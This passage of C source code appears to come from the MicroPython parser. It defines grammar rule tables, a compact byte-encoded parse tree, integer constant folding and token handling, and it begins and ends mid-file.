(0x30)\n\n#define RULE_ARG_KIND_MASK      (0xf000)\n#define RULE_ARG_ARG_MASK       (0x0fff)\n#define RULE_ARG_TOK            (0x1000)\n#define RULE_ARG_RULE           (0x2000)\n#define RULE_ARG_OPT_RULE       (0x3000)\n\n#define ADD_BLANK_NODE(rule) ((rule->act & RULE_ACT_ADD_BLANK) != 0)\n\n// (un)comment to use rule names; for debugging\n//#define USE_RULE_NAME (1)\n\ntypedef struct _rule_t {\n    byte rule_id;\n    byte act;\n#ifdef USE_RULE_NAME\n    const char *rule_name;\n#endif\n    uint16_t arg[];\n} rule_t;\n\nenum {\n// define rules with a compile function\n#define DEF_RULE(rule, comp, kind, ...) RULE_##rule,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    RULE_const_object, // special node for a constant, generic Python object\n\n// define rules without a compile function\n#define DEF_RULE(rule, comp, kind, ...)\n#define DEF_RULE_NC(rule, kind, ...) RULE_##rule,\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n};\n\n#define or(n)                   (RULE_ACT_OR | n)\n#define and(n)                  (RULE_ACT_AND | n)\n#define and_ident(n)            (RULE_ACT_AND | n | RULE_ACT_ALLOW_IDENT)\n#define and_blank(n)            (RULE_ACT_AND | n | RULE_ACT_ADD_BLANK)\n#define one_or_more             (RULE_ACT_LIST | 2)\n#define list                    (RULE_ACT_LIST | 1)\n#define list_with_end           (RULE_ACT_LIST | 3)\n#define tok(t)                  (RULE_ARG_TOK | MP_TOKEN_##t)\n#define rule(r)                 (RULE_ARG_RULE | RULE_##r)\n#define opt_rule(r)             (RULE_ARG_OPT_RULE | RULE_##r)\n#ifdef USE_RULE_NAME\n#define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } };\n#define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } };\n#else\n#define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } };\n#define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } };\n#endif\n#include \"py/grammar.h\"\n#undef or\n#undef and\n#undef list\n#undef list_with_end\n#undef tok\n#undef rule\n#undef opt_rule\n#undef one_or_more\n#undef DEF_RULE\n#undef DEF_RULE_NC\n\nSTATIC const rule_t *rules[] = {\n// define rules with a compile function\n#define DEF_RULE(rule, comp, kind, ...) &rule_##rule,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    NULL, // RULE_const_object\n\n// define rules without a compile function\n#define DEF_RULE(rule, comp, kind, ...)\n#define DEF_RULE_NC(rule, kind, ...) &rule_##rule,\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n};\n\ntypedef struct _rule_stack_t {\n    size_t src_line : 8 * sizeof(size_t) - 8; // maximum bits storing source line number\n    size_t rule_id : 8; // this must be large enough to fit largest rule number\n    size_t arg_i : 16; // this dictates the maximum nodes in a \"list\" of things\n    size_t pt_off : 16;\n} rule_stack_t;\n\ntypedef struct _mp_parse_chunk_t {\n    size_t alloc;\n    union {\n        size_t used;\n        struct _mp_parse_chunk_t *next;\n    } union_;\n    byte data[];\n} mp_parse_chunk_t;\n\ntypedef enum {\n    PARSE_ERROR_NONE = 0,\n    PARSE_ERROR_MEMORY,\n    PARSE_ERROR_CONST,\n} parse_error_t;\n\ntypedef struct _parser_t {\n    parse_error_t parse_error;\n\n    size_t rule_stack_alloc;\n    size_t rule_stack_top;\n    rule_stack_t *rule_stack;\n\n    mp_uint_t cur_scope_id;\n\n    size_t co_alloc;\n    size_t co_used;\n    mp_uint_t *co_data;\n\n    mp_lexer_t *lexer;\n\n    mp_parse_tree_t tree;\n\n    #if MICROPY_COMP_CONST\n    mp_map_t consts;\n    #endif\n} parser_t;\n\nSTATIC void push_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t arg_i, size_t pt_off) {\n    if (parser->parse_error) {\n        return;\n    }\n    if (parser->rule_stack_top >= parser->rule_stack_alloc) {\n        rule_stack_t *rs = m_renew_maybe(rule_stack_t, parser->rule_stack, parser->rule_stack_alloc, parser->rule_stack_alloc + MICROPY_ALLOC_PARSE_RULE_INC, true);\n        if (rs == NULL) {\n            parser->parse_error = PARSE_ERROR_MEMORY;\n            return;\n        }\n        parser->rule_stack = rs;\n        parser->rule_stack_alloc += MICROPY_ALLOC_PARSE_RULE_INC;\n    }\n    rule_stack_t *rs = &parser->rule_stack[parser->rule_stack_top++];\n    rs->src_line = src_line;\n    rs->rule_id = rule->rule_id;\n    rs->arg_i = arg_i;\n    rs->pt_off = pt_off;\n}\n\nSTATIC void push_rule_from_arg(parser_t *parser, size_t arg) {\n    assert((arg & RULE_ARG_KIND_MASK) == RULE_ARG_RULE || (arg & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE);\n    size_t rule_id = arg & RULE_ARG_ARG_MASK;\n    push_rule(parser, parser->lexer->tok_line, rules[rule_id], 0, 0);\n}\n\nSTATIC void pop_rule(parser_t *parser, const rule_t **rule, size_t *arg_i, size_t *src_line, size_t *pt_off) {\n    assert(!parser->parse_error);\n    parser->rule_stack_top -= 1;\n    *rule = rules[parser->rule_stack[parser->rule_stack_top].rule_id];\n    *arg_i = parser->rule_stack[parser->rule_stack_top].arg_i;\n    *src_line = parser->rule_stack[parser->rule_stack_top].src_line;\n    *pt_off = parser->rule_stack[parser->rule_stack_top].pt_off;\n}\n\ntypedef struct _pt_t {\n    vstr_t vv;\n} pt_t;\n\nSTATIC pt_t *pt_new(void) {\n    pt_t *pt = m_new_obj(pt_t);\n    vstr_init(&pt->vv, 16);\n    return pt;\n}\n\nSTATIC byte *pt_raw_add_blank(pt_t *pt, size_t nbytes) {\n    return (byte*)vstr_add_len(&pt->vv, nbytes);\n}\n\nSTATIC byte *pt_raw_ins_blank(pt_t *pt, size_t pt_off, size_t nbytes) {\n    return (byte*)vstr_ins_blank_bytes(&pt->vv, pt_off, nbytes);\n}\n\nSTATIC void pt_raw_truncate_at(pt_t *pt, size_t pt_off) {\n    pt->vv.len = pt_off;\n}\n\nSTATIC int vuint_nbytes(size_t val) {\n    int n = 0;\n    do {\n        n += 1;\n        val >>= 7;\n    } while (val != 0);\n    return n;\n}\n\nSTATIC void vuint_store(byte *p, int nbytes, size_t val) {\n    p += nbytes;\n    *--p = val & 0x7f;\n    for (--nbytes; nbytes > 0; --nbytes) {\n        val >>= 7;\n        *--p = 0x80 | (val & 0x7f);\n    }\n}\n\nSTATIC size_t vuint_load(const byte **p_in) {\n    const byte *p = *p_in;\n    size_t val = 0;\n    do {\n        val = (val << 7) + (*p & 0x7f);\n    } while ((*p++ & 0x80) != 0);\n    *p_in = p;\n    return val;\n}\n\nSTATIC byte *pt_advance(const byte *p, bool full_rule) {\n    switch (*p++) {\n        case MP_PT_NULL:\n            break;\n        case MP_PT_TOKEN:\n            p += 1;\n            break;\n        case MP_PT_SMALL_INT:\n            p += BYTES_PER_WORD;\n            break;\n        case MP_PT_STRING:\n            p += 2;\n            break;\n        case MP_PT_BYTES:\n            p += 2;\n            break;\n        case MP_PT_CONST_OBJECT:\n            vuint_load(&p);\n            break;\n        default:\n            if (p[-1] < MP_PT_RULE_BASE) {\n                // MP_PT_ID_BASE\n                p += 1;\n            } else {\n                // MP_PT_RULE_BASE\n                vuint_load(&p);\n                uint32_t n = vuint_load(&p);\n                if (full_rule) {\n                    p += n;\n                }\n            }\n            break;\n    }\n    return (byte*)p;\n}\n\nbool mp_parse_node_get_int_maybe(const byte *p, mp_obj_t *o, mp_uint_t *co_data) {\n    if (pt_is_small_int(p)) {\n        *o = MP_OBJ_NEW_SMALL_INT(pt_small_int_value(p));\n        return true;\n    } else if (*p == MP_PT_CONST_OBJECT) {\n        size_t idx;\n        p = pt_extract_const_obj(p, &idx);\n        *o = (mp_obj_t)co_data[idx];\n        return true;\n    } else {\n        return false;\n    }\n}\n\n// TODO this could perhaps allow *p to be null and in that case return null?\nconst byte *mp_parse_node_extract_list(const byte **p, size_t pn_kind) {\n    if (pt_is_null(*p)) {\n        *p += 1;\n        return *p;\n    } else if (!pt_is_any_rule(*p)) {\n        return pt_advance(*p, true);\n    } else {\n        if (!pt_is_rule(*p, pn_kind)) {\n            return pt_advance(*p, true);\n        } else {\n            const byte *ptop;\n            *p = pt_rule_extract_top(*p, &ptop);\n            return ptop;\n        }\n    }\n}\n\n/*\nconst byte *pt_extract_id(const byte *p, qstr *qst) {\n    //assert(*p == MP_PT_ID_BASE);\n    *qst = p[1] | ((p[0] - MP_PT_ID_BASE) << 8);\n    return p + 2;\n}\n*/\n\nconst byte *pt_extract_const_obj(const byte *p, size_t *idx) {\n    assert(*p == MP_PT_CONST_OBJECT);\n    p += 1;\n    *idx = vuint_load(&p);\n    return p;\n}\n\nconst byte *pt_get_small_int(const byte *p, mp_int_t *val) {\n    assert(*p == MP_PT_SMALL_INT);\n    *val = 0;\n    for (size_t i = 0; i < BYTES_PER_WORD; i++) {\n        *val |= (mp_int_t)*++p << (8 * i);\n    }\n    return p + 1;\n}\n\nmp_int_t pt_small_int_value(const byte *p) {\n    mp_int_t val;\n    pt_get_small_int(p, &val);\n    return val;\n}\n\nint pt_num_nodes(const byte *p, const byte *ptop) {\n    int n = 0;\n    while (p < ptop) {\n        n += 1;\n        p = pt_advance(p, true);\n    }\n    return n;\n}\n\nconst byte *pt_next(const byte *p) {\n    return pt_advance(p, true);\n}\n\nconst byte *pt_rule_first(const byte *p) {\n    return pt_advance(p, false);\n}\n\n#if 0\nvoid pt_show(const byte *p, const byte *ptop) {\n    const byte *start = p;\n    while (p < ptop) {\n        printf(\"%04u  \", (uint)(p - (byte*)start));\n        const byte *p2 = pt_advance(p, false);\n        for (const byte *p3 = p; p3 < p2; ++p3) {\n            printf(\"%02x \", *p3);\n        }\n        for (int i = 8 - (p2 - p); i > 0; --i) {\n            printf(\"   \");\n        }\n        switch (*p) {\n            case MP_PT_NULL:\n                printf(\"NULL\\n\");\n                break;\n            case MP_PT_TOKEN:\n                printf(\"TOKEN %u\\n\", p[1]);\n                break;\n            case MP_PT_SMALL_INT:\n                printf(\"SMALL_INT \" INT_FMT \"\\n\", pt_small_int_value(p));\n                break;\n            case MP_PT_STRING:\n                printf(\"STRING %s\\n\", qstr_str(p[1] | (p[2] << 8)));\n                break;\n            case MP_PT_BYTES:\n                printf(\"BYTES %s\\n\", qstr_str(p[1] | (p[2] << 8)));\n                break;\n            case MP_PT_CONST_OBJECT:\n                printf(\"CONST_OBJECT\\n\");\n                break;\n            default:\n                if (p[0] < MP_PT_RULE_BASE) {\n                    // MP_PT_ID_BASE\n                    printf(\"ID %s\\n\", qstr_str(p[1] | ((p[0] - MP_PT_ID_BASE) << 8)));\n                } else {\n                    // MP_PT_RULE_BASE\n                    byte rule_id = p[0] - MP_PT_RULE_BASE;\n                    const byte *p4 = p + 1;\n                    uint32_t src_line = vuint_load(&p4);\n                    uint32_t n = vuint_load(&p4);\n                    #if USE_RULE_NAME\n                    printf(\"RULE %s line=%u bytes=%u\\n\", rules[rule_id]->rule_name, src_line, n);\n                    #else\n                    printf(\"RULE %d line=%u bytes=%u\\n\", rule_id, src_line, n);\n                    #endif\n                }\n                break;\n        }\n        p = p2;\n    }\n}\n#endif\n\nSTATIC void pt_add_null(pt_t *pt) {\n    *pt_raw_add_blank(pt, 1) = MP_PT_NULL;\n}\n\nSTATIC void pt_add_kind_byte(pt_t *pt, byte kind, byte b) {\n    byte *buf = pt_raw_add_blank(pt, 2);\n    buf[0] = kind;\n    buf[1] = b;\n}\n\nSTATIC void pt_add_kind_qstr(pt_t *pt, byte kind, qstr qst) {\n    if (kind == MP_PT_ID_BASE) {\n        assert((qst >> 12) == 0);\n        byte *buf = pt_raw_add_blank(pt, 2);\n        buf[0] = MP_PT_ID_BASE + (qst >> 8);\n        buf[1] = qst;\n    } else {\n        assert((qst >> 16) == 0);\n        byte *buf = pt_raw_add_blank(pt, 3);\n        buf[0] = kind;\n        buf[1] = qst;\n        buf[2] = qst >> 8;\n    }\n}\n\n// valid for up to BYTES_PER_WORD=8\nconst byte pt_const_int0[] = {MP_PT_SMALL_INT, 0, 0, 0, 0, 0, 0, 0, 0};\n\nSTATIC void pt_add_kind_int(pt_t *pt, byte kind, mp_int_t val) {\n    byte *buf = pt_raw_add_blank(pt, 1 + BYTES_PER_WORD);\n    buf[0] = kind;\n    for (size_t i = 0; i < BYTES_PER_WORD; ++i) {\n        buf[i + 1] = val;\n        val >>= 8;\n    }\n}\n\nSTATIC void pt_del_tail_bytes(pt_t *pt, size_t nbytes) {\n    vstr_cut_tail_bytes(&pt->vv, nbytes);\n}\n\nSTATIC const byte *pt_del_byte(pt_t *pt, const byte *p) {\n    vstr_cut_out_bytes(&pt->vv, p - (byte*)pt->vv.buf, 1);\n    return p;\n}\n\n#if MICROPY_COMP_MODULE_CONST\n#include \"py/builtin.h\"\nSTATIC const mp_rom_map_elem_t mp_constants_table[] = {\n    #if MICROPY_PY_UCTYPES\n    { MP_ROM_QSTR(MP_QSTR_uctypes), MP_ROM_PTR(&mp_module_uctypes) },\n    #endif\n    // Extra constants as defined by a port\n    MICROPY_PORT_CONSTANTS\n};\nSTATIC MP_DEFINE_CONST_MAP(mp_constants_map, mp_constants_table);\n#endif\n\n#if MICROPY_COMP_CONST_FOLDING\nSTATIC bool fold_constants(parser_t *parser, pt_t *pt, size_t pt_off, const rule_t *rule) {\n    (void)parser;\n\n    // this code does folding of arbitrary integer expressions, eg 1 + 2 * 3 + 4\n    // it does not do partial folding, eg 1 + 2 + x -> 3 + x\n\n    mp_int_t arg0;\n    if (rule->rule_id == RULE_expr\n        || rule->rule_id == RULE_xor_expr\n        || rule->rule_id == RULE_and_expr) {\n        // folding for binary ops: | ^ &\n        const byte *p = (byte*)pt->vv.buf + pt_off;\n        const byte *ptop = (byte*)pt->vv.buf + pt->vv.len;\n        if (*p != MP_PT_SMALL_INT) {\n            return false;\n        }\n        p = pt_get_small_int(p, &arg0);\n        while (p != ptop) {\n            if (*p != MP_PT_SMALL_INT) {\n                return false;\n            }\n            mp_int_t arg1;\n            p = pt_get_small_int(p, &arg1);\n            if (rule->rule_id == RULE_expr) {\n                // int | int\n                arg0 |= arg1;\n            } else if (rule->rule_id == RULE_xor_expr) {\n                // int ^ int\n                arg0 ^= arg1;\n            } else if (rule->rule_id == RULE_and_expr) {\n                // int & int\n                arg0 &= arg1;\n            }\n        }\n    } else if (rule->rule_id == RULE_shift_expr\n        || rule->rule_id == RULE_arith_expr\n        || rule->rule_id == RULE_term) {\n        // folding for binary ops: << >> + - * / % //\n        const byte *p = (byte*)pt->vv.buf + pt_off;\n        const byte *ptop = (byte*)pt->vv.buf + pt->vv.len;\n        if (*p != MP_PT_SMALL_INT) {\n            return false;\n        }\n        p = pt_get_small_int(p, &arg0);\n        while (p != ptop) {\n            p += 1; // it's a token\n            byte tok = *p++;\n            if (*p != MP_PT_SMALL_INT) {\n                return false;\n            }\n            mp_int_t arg1;\n            p = pt_get_small_int(p, &arg1);\n            if (tok == MP_TOKEN_OP_DBL_LESS) {\n                // int << int\n                if (arg1 >= (mp_int_t)BITS_PER_WORD\n                    || arg0 > (MP_SMALL_INT_MAX >> arg1)\n                    || arg0 < (MP_SMALL_INT_MIN >> arg1)) {\n                    return false;\n                }\n                arg0 <<= arg1;\n            } else if (tok == MP_TOKEN_OP_DBL_MORE) {\n                // int >> int\n                if (arg1 >= (mp_int_t)BITS_PER_WORD) {\n                    // Shifting to big amounts is underfined behavior\n                    // in C and is CPU-dependent; propagate sign bit.\n                    arg1 = BITS_PER_WORD - 1;\n                }\n                arg0 >>= arg1;\n            } else if (tok == MP_TOKEN_OP_PLUS) {\n                // int + int\n                arg0 += arg1;\n            } else if (tok == MP_TOKEN_OP_MINUS) {\n                // int - int\n                arg0 -= arg1;\n            } else if (tok == MP_TOKEN_OP_STAR) {\n                // int * int\n                if (mp_small_int_mul_overflow(arg0, arg1)) {\n                    return false;\n                }\n                arg0 *= arg1;\n            } else if (tok == MP_TOKEN_OP_SLASH) {\n                // int / int\n                return false;\n            } else if (tok == MP_TOKEN_OP_PERCENT) {\n                // int % int\n                if (arg1 == 0) {\n                    return false;\n                }\n                arg0 = mp_small_int_modulo(arg0, arg1);\n            } else {\n                assert(tok == MP_TOKEN_OP_DBL_SLASH); // should be\n                // int // int\n                if (arg1 == 0) {\n                    return false;\n                }\n                arg0 = mp_small_int_floor_divide(arg0, arg1);\n            }\n            if (!MP_SMALL_INT_FITS(arg0)) {\n                return false;\n            }\n        }\n    } else if (rule->rule_id == RULE_factor_2) {\n        // folding for unary ops: + - ~\n        const byte *p = (byte*)pt->vv.buf + pt_off;\n        p += 1; // it's a token\n        byte tok = *p++;\n        if (*p != MP_PT_SMALL_INT) {\n            return false;\n        }\n        arg0 = pt_small_int_value(p);\n        if (tok == MP_TOKEN_OP_PLUS) {\n            // +int\n        } else if (tok == MP_TOKEN_OP_MINUS) {\n            // -int\n            arg0 = -arg0;\n            if (!MP_SMALL_INT_FITS(arg0)) {\n                return false;\n            }\n        } else {\n            assert(tok == MP_TOKEN_OP_TILDE); // should be\n            // ~int\n            arg0 = ~arg0;\n        }\n\n    #if 0&&MICROPY_COMP_CONST\n    } else if (rule->rule_id == RULE_expr_stmt) {\n        mp_parse_node_t pn1 = peek_result(parser, 0);\n        if (!MP_PARSE_NODE_IS_NULL(pn1)\n            && !(MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_augassign)\n            || MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_expr_stmt_assign_list))) {\n            // this node is of the form <x> = <y>\n            mp_parse_node_t pn0 = peek_result(parser, 1);\n            if (MP_PARSE_NODE_IS_ID(pn0)\n                && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_power)\n                && MP_PARSE_NODE_IS_ID(((mp_parse_node_struct_t*)pn1)->nodes[0])\n                && MP_PARSE_NODE_LEAF_ARG(((mp_parse_node_struct_t*)pn1)->nodes[0]) == MP_QSTR_const\n                && MP_PARSE_NODE_IS_STRUCT_KIND(((mp_parse_node_struct_t*)pn1)->nodes[1], RULE_trailer_paren)\n                && MP_PARSE_NODE_IS_NULL(((mp_parse_node_struct_t*)pn1)->nodes[2])\n                ) {\n                // code to assign dynamic constants: id = const(value)\n\n                // get the id\n                qstr id = MP_PARSE_NODE_LEAF_ARG(pn0);\n\n                // get the value\n                mp_parse_node_t pn_value = ((mp_parse_node_struct_t*)((mp_parse_node_struct_t*)pn1)->nodes[1])->nodes[0];\n                if (!MP_PARSE_NODE_IS_SMALL_INT(pn_value)) {\n                    parser->parse_error = PARSE_ERROR_CONST;\n                    return false;\n                }\n                mp_int_t value = MP_PARSE_NODE_LEAF_SMALL_INT(pn_value);\n\n                // store the value in the table of dynamic constants\n                mp_map_elem_t *elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n                assert(elem->value == MP_OBJ_NULL);\n                elem->value = MP_OBJ_NEW_SMALL_INT(value);\n\n                // replace const(value) with value\n                pop_result(parser);\n                push_result_node(parser, pn_value);\n\n                // finished folding this assignment, but we still want it to be part of the tree\n                return false;\n            }\n        }\n        return false;\n    #endif\n\n    #if 0&&MICROPY_COMP_MODULE_CONST\n    } else if (rule->rule_id == RULE_power) {\n        mp_parse_node_t pn0 = peek_result(parser, 2);\n        mp_parse_node_t pn1 = peek_result(parser, 1);\n        mp_parse_node_t pn2 = peek_result(parser, 0);\n        if (!(MP_PARSE_NODE_IS_ID(pn0)\n            && MP_PARSE_NODE_IS_STRUCT_KIND(pn1, RULE_trailer_period)\n            && MP_PARSE_NODE_IS_NULL(pn2))) {\n            return false;\n        }\n        // id1.id2\n        // look it up in constant table, see if it can be replaced with an integer\n        mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pn1;\n        assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0]));\n        qstr q_base = MP_PARSE_NODE_LEAF_ARG(pn0);\n        qstr q_attr = MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0]);\n        mp_map_elem_t *elem = mp_map_lookup((mp_map_t*)&mp_constants_map, MP_OBJ_NEW_QSTR(q_base), MP_MAP_LOOKUP);\n        if (elem == NULL) {\n            return false;\n        }\n        mp_obj_t dest[2];\n        mp_load_method_maybe(elem->value, q_attr, dest);\n        if (!(MP_OBJ_IS_SMALL_INT(dest[0]) && dest[1] == MP_OBJ_NULL)) {\n            return false;\n        }\n        arg0 = MP_OBJ_SMALL_INT_VALUE(dest[0]);\n    #endif\n\n    } else {\n        return false;\n    }\n\n    // success folding this rule\n\n    pt_raw_truncate_at(pt, pt_off);\n    pt_add_kind_int(pt, MP_PT_SMALL_INT, arg0);\n\n    return true;\n}\n#endif\n\nSTATIC void pt_ins_rule(parser_t *parser, pt_t *pt, size_t pt_off, size_t src_line, const rule_t *rule, size_t num_args) {\n    (void)num_args;\n\n    // optimise away parenthesis around an expression if possible\n    if (rule->rule_id == RULE_atom_paren) {\n        // there should be just 1 arg for this rule\n        const byte *p = (byte*)pt->vv.buf + pt_off;\n        if (pt_is_null(p)) {\n            // need to keep parenthesis for ()\n        } else if (pt_is_rule(p, RULE_testlist_comp)) {\n            // need to keep parenthesis for (a, b, ...)\n        } else {\n            // parenthesis around a single expression, so it's just the expression\n            //printf(\"opt!\\n\");\n            return;\n        }\n    }\n\n    #if MICROPY_COMP_CONST_FOLDING\n    if (fold_constants(parser, pt, pt_off, rule)) {\n        // we folded this rule so return straight away\n        return;\n    }\n    #endif\n\n#if 0\n    // TODO partial folding, eg 1 + 2 + x -> 3 + x\n    mp_int_t arg0;\n    if (rule->rule_id == RULE_expr\n        || rule->rule_id == RULE_xor_expr\n        || rule->rule_id == RULE_and_expr) {\n        // combined node folding for these rules\n        const byte *p = (byte*)pt->vv.buf + pt_off;\n        const byte *ptop = (byte*)pt->vv.buf + pt->vv.len;\n        if (*p != MP_PT_SMALL_INT) {\n            goto folding_fail;\n        }\n        p = pt_get_small_int(p, &arg0);\n        while (p != ptop) {\n            if (*p != MP_PT_SMALL_INT) {\n                goto folding_fail;\n            }\n            mp_int_t arg1;\n            p = pt_get_small_int(p, &arg1);\n            if (rule->rule_id == RULE_expr) {\n                // int | int\n                arg0 |= arg1;\n            } else if (rule->rule_id == RULE_xor_expr) {\n                // int ^ int\n                arg0 ^= arg1;\n            } else if (rule->rule_id == RULE_and_expr) {\n                // int & int\n                arg0 &= arg1;\n            }\n            if (!MP_SMALL_INT_FITS(arg0)) { // check needed?\n                goto folding_fail;\n            }\n        }\n    } else if (rule->rule_id == RULE_shift_expr\n        || rule->rule_id == RULE_arith_expr\n        || rule->rule_id == RULE_term) {\n        // combined node folding for these rules\n        const byte *p = (byte*)pt->vv.buf + pt_off;\n        const byte *ptop = (byte*)pt->vv.buf + pt->vv.len;\n        if (*p != MP_PT_SMALL_INT) {\n            goto folding_fail;\n        }\n        p = pt_get_small_int(p, &arg0);\n        while (p != ptop) {\n            p += 1; // it's a token\n            byte tok = *p++;\n            if (*p != MP_PT_SMALL_INT) {\n                goto folding_fail;\n            }\n            mp_int_t arg1;\n            p = pt_get_small_int(p, &arg1);\n            if (tok == MP_TOKEN_OP_DBL_LESS) {\n                // int << int\n                if (arg1 >= (mp_int_t)BITS_PER_WORD\n                    || arg0 > (MP_SMALL_INT_MAX >> arg1)\n                    || arg0 < (MP_SMALL_INT_MIN >> arg1)) {\n                    goto folding_fail;\n                }\n                arg0 <<= arg1;\n            } else if (tok == MP_TOKEN_OP_DBL_MORE) {\n                // int >> int\n                if (arg1 >= (mp_int_t)BITS_PER_WORD) {\n                    // Shifting to big amounts is underfined behavior\n                    // in C and is CPU-dependent; propagate sign bit.\n                    arg1 = BITS_PER_WORD - 1;\n                }\n                arg0 >>= arg1;\n            } else if (tok == MP_TOKEN_OP_PLUS) {\n                // int + int\n                arg0 += arg1;\n            } else if (tok == MP_TOKEN_OP_MINUS) {\n                // int - int\n                arg0 -= arg1;\n            } else if (tok == MP_TOKEN_OP_STAR) {\n                // int * int\n                if (mp_small_int_mul_overflow(arg0, arg1)) {\n                    goto folding_fail;\n                }\n                arg0 *= arg1;\n            } else if (tok == MP_TOKEN_OP_SLASH) {\n                // int / int\n                goto folding_fail;\n            } else if (tok == MP_TOKEN_OP_PERCENT) {\n                // int % int\n                if (arg1 == 0) {\n                    goto folding_fail;\n                }\n                arg0 = mp_small_int_modulo(arg0, arg1);\n            } else {\n                assert(tok == MP_TOKEN_OP_DBL_SLASH); // should be\n                // int // int\n                if (arg1 == 0) {\n                    goto folding_fail;\n                }\n                arg0 = mp_small_int_floor_divide(arg0, arg1);\n            }\n            if (!MP_SMALL_INT_FITS(arg0)) {\n                goto folding_fail;\n            }\n        }\n    } else if (rule->rule_id == RULE_factor_2) {\n        const byte *p = (byte*)pt->vv.buf + pt_off;\n        p += 1; // it's a token\n        byte tok = *p++;\n        if (*p != MP_PT_SMALL_INT) {\n            goto folding_fail;\n        }\n        arg0 = pt_small_int_value(p);\n        if (tok == MP_TOKEN_OP_PLUS) {\n            // +int\n        } else if (tok == MP_TOKEN_OP_MINUS) {\n            // -int\n            arg0 = -arg0;\n            if (!MP_SMALL_INT_FITS(arg0)) {\n                goto folding_fail;\n            }\n        } else {\n            assert(tok == MP_TOKEN_OP_TILDE); // should be\n            // ~int\n            arg0 = ~arg0;\n        }\n    } else {\n        goto folding_fail;\n    }\n\n    // success folding this rule\n    pt_raw_truncate_at(pt, pt_off);\n    pt_add_kind_int(pt, MP_PT_SMALL_INT, arg0);\n    return;\n\nfolding_fail:;\n#endif\n\n    int extra_node = 0;\n    /*\n    if (ADD_BLANK_NODE(rule)) {\n        extra_node = 1 + BYTES_PER_WORD; // for small int node\n    }\n    */\n\n    size_t nbytes = pt->vv.len + extra_node - pt_off;\n    int nb1 = vuint_nbytes(src_line);\n    int nb2 = vuint_nbytes(nbytes);\n    byte *dest = (byte*)pt_raw_ins_blank(pt, pt_off, 1 + nb1 + nb2 + extra_node);\n    dest[0] = MP_PT_RULE_BASE + rule->rule_id;\n    vuint_store(dest + 1, nb1, src_line);\n    vuint_store(dest + 1 + nb1, nb2, nbytes);\n\n    // insert small int node for scope index\n    if (extra_node != 0) {\n        dest[1 + nb1 + nb2] = MP_PT_SMALL_INT;\n        size_t val = ++parser->cur_scope_id;\n        for (size_t i = 0; i < BYTES_PER_WORD; ++i) {\n            dest[1 + nb1 + nb2 + 1 + i] = val;\n            val >>= 8;\n        }\n    }\n}\n\nSTATIC void make_node_const_object(parser_t *parser, pt_t *pt, mp_obj_t obj) {\n    int nb = vuint_nbytes(parser->co_used);\n    byte *buf = pt_raw_add_blank(pt, 1 + nb);\n    buf[0] = MP_PT_CONST_OBJECT;\n    vuint_store(buf + 1, nb, parser->co_used);\n    if (parser->co_used >= parser->co_alloc) {\n        // TODO use m_renew_maybe\n        size_t alloc = parser->co_alloc + 8;\n        parser->co_data = m_renew(mp_uint_t, parser->co_data, parser->co_alloc, alloc);\n        parser->co_alloc = alloc;\n    }\n    parser->co_data[parser->co_used++] = (mp_uint_t)obj;\n}\n\nSTATIC void make_node_string_bytes(parser_t *parser, pt_t *pt, mp_token_kind_t tok, const char *str, size_t len) {\n    mp_obj_t o;\n    if (tok == MP_TOKEN_STRING) {\n        o = mp_obj_new_str(str, len, false);\n    } else {\n        o = mp_obj_new_bytes((const byte*)str, len);\n    }\n    make_node_const_object(parser, pt, o);\n}\n\nSTATIC bool pt_add_token(parser_t *parser, pt_t *pt) {\n    mp_lexer_t *lex = parser->lexer;\n    if (lex->tok_kind == MP_TOKEN_NAME) {\n        qstr id = qstr_from_strn(lex->vstr.buf, lex->vstr.len);\n        #if MICROPY_COMP_CONST\n        // lookup identifier in table of dynamic constants\n        mp_map_elem_t *elem = mp_map_lookup(&parser->consts, MP_OBJ_NEW_QSTR(id), MP_MAP_LOOKUP);\n        if (elem != NULL) {\n            pt_add_kind_int(pt, MP_PT_SMALL_INT, MP_OBJ_SMALL_INT_VALUE(elem->value));\n        } else\n        #endif\n        {\n            pt_add_kind_qstr(pt, MP_PT_ID_BASE, id);\n        }\n    } else if (lex->tok_kind == MP_TOKEN_INTEGER) {\n        mp_obj_t o = mp_parse_num_integer(lex->vstr.buf, lex->vstr.len, 0, lex);\n        if (MP_OBJ_IS_SMALL_INT(o)) {\n            pt_add_kind_int(pt, MP_PT_SMALL_INT, MP_OBJ_SMALL_INT_VALUE(o));\n        } else {\n            make_node_const_object(parser, pt, o);\n        }\n    } else if (lex->tok_kind == MP_TOKEN_FLOAT_OR_IMAG) {\n        mp_obj_t o = mp_parse_num_decimal(lex->vstr.buf, lex->vstr.len, true, false, lex);\n        make_node_const_object(parser, pt, o);\n    } else if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) {\n        // join adjacent string/bytes literals\n        mp_token_kind_t tok_kind = lex->tok_kind;\n        vstr_t vstr;\n        vstr_init(&vstr, lex->vstr.len);\n        do {\n            vstr_add_strn(&vstr, lex->vstr.buf, lex->vstr.len);\n            mp_lexer_to_next(lex);\n        } while (lex->tok_kind == tok_kind);\n\n        if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) {\n            return false;\n        }\n\n        // Don't automatically intern all strings/bytes.  doc strings (which are usually large)\n        // will be discarded by the 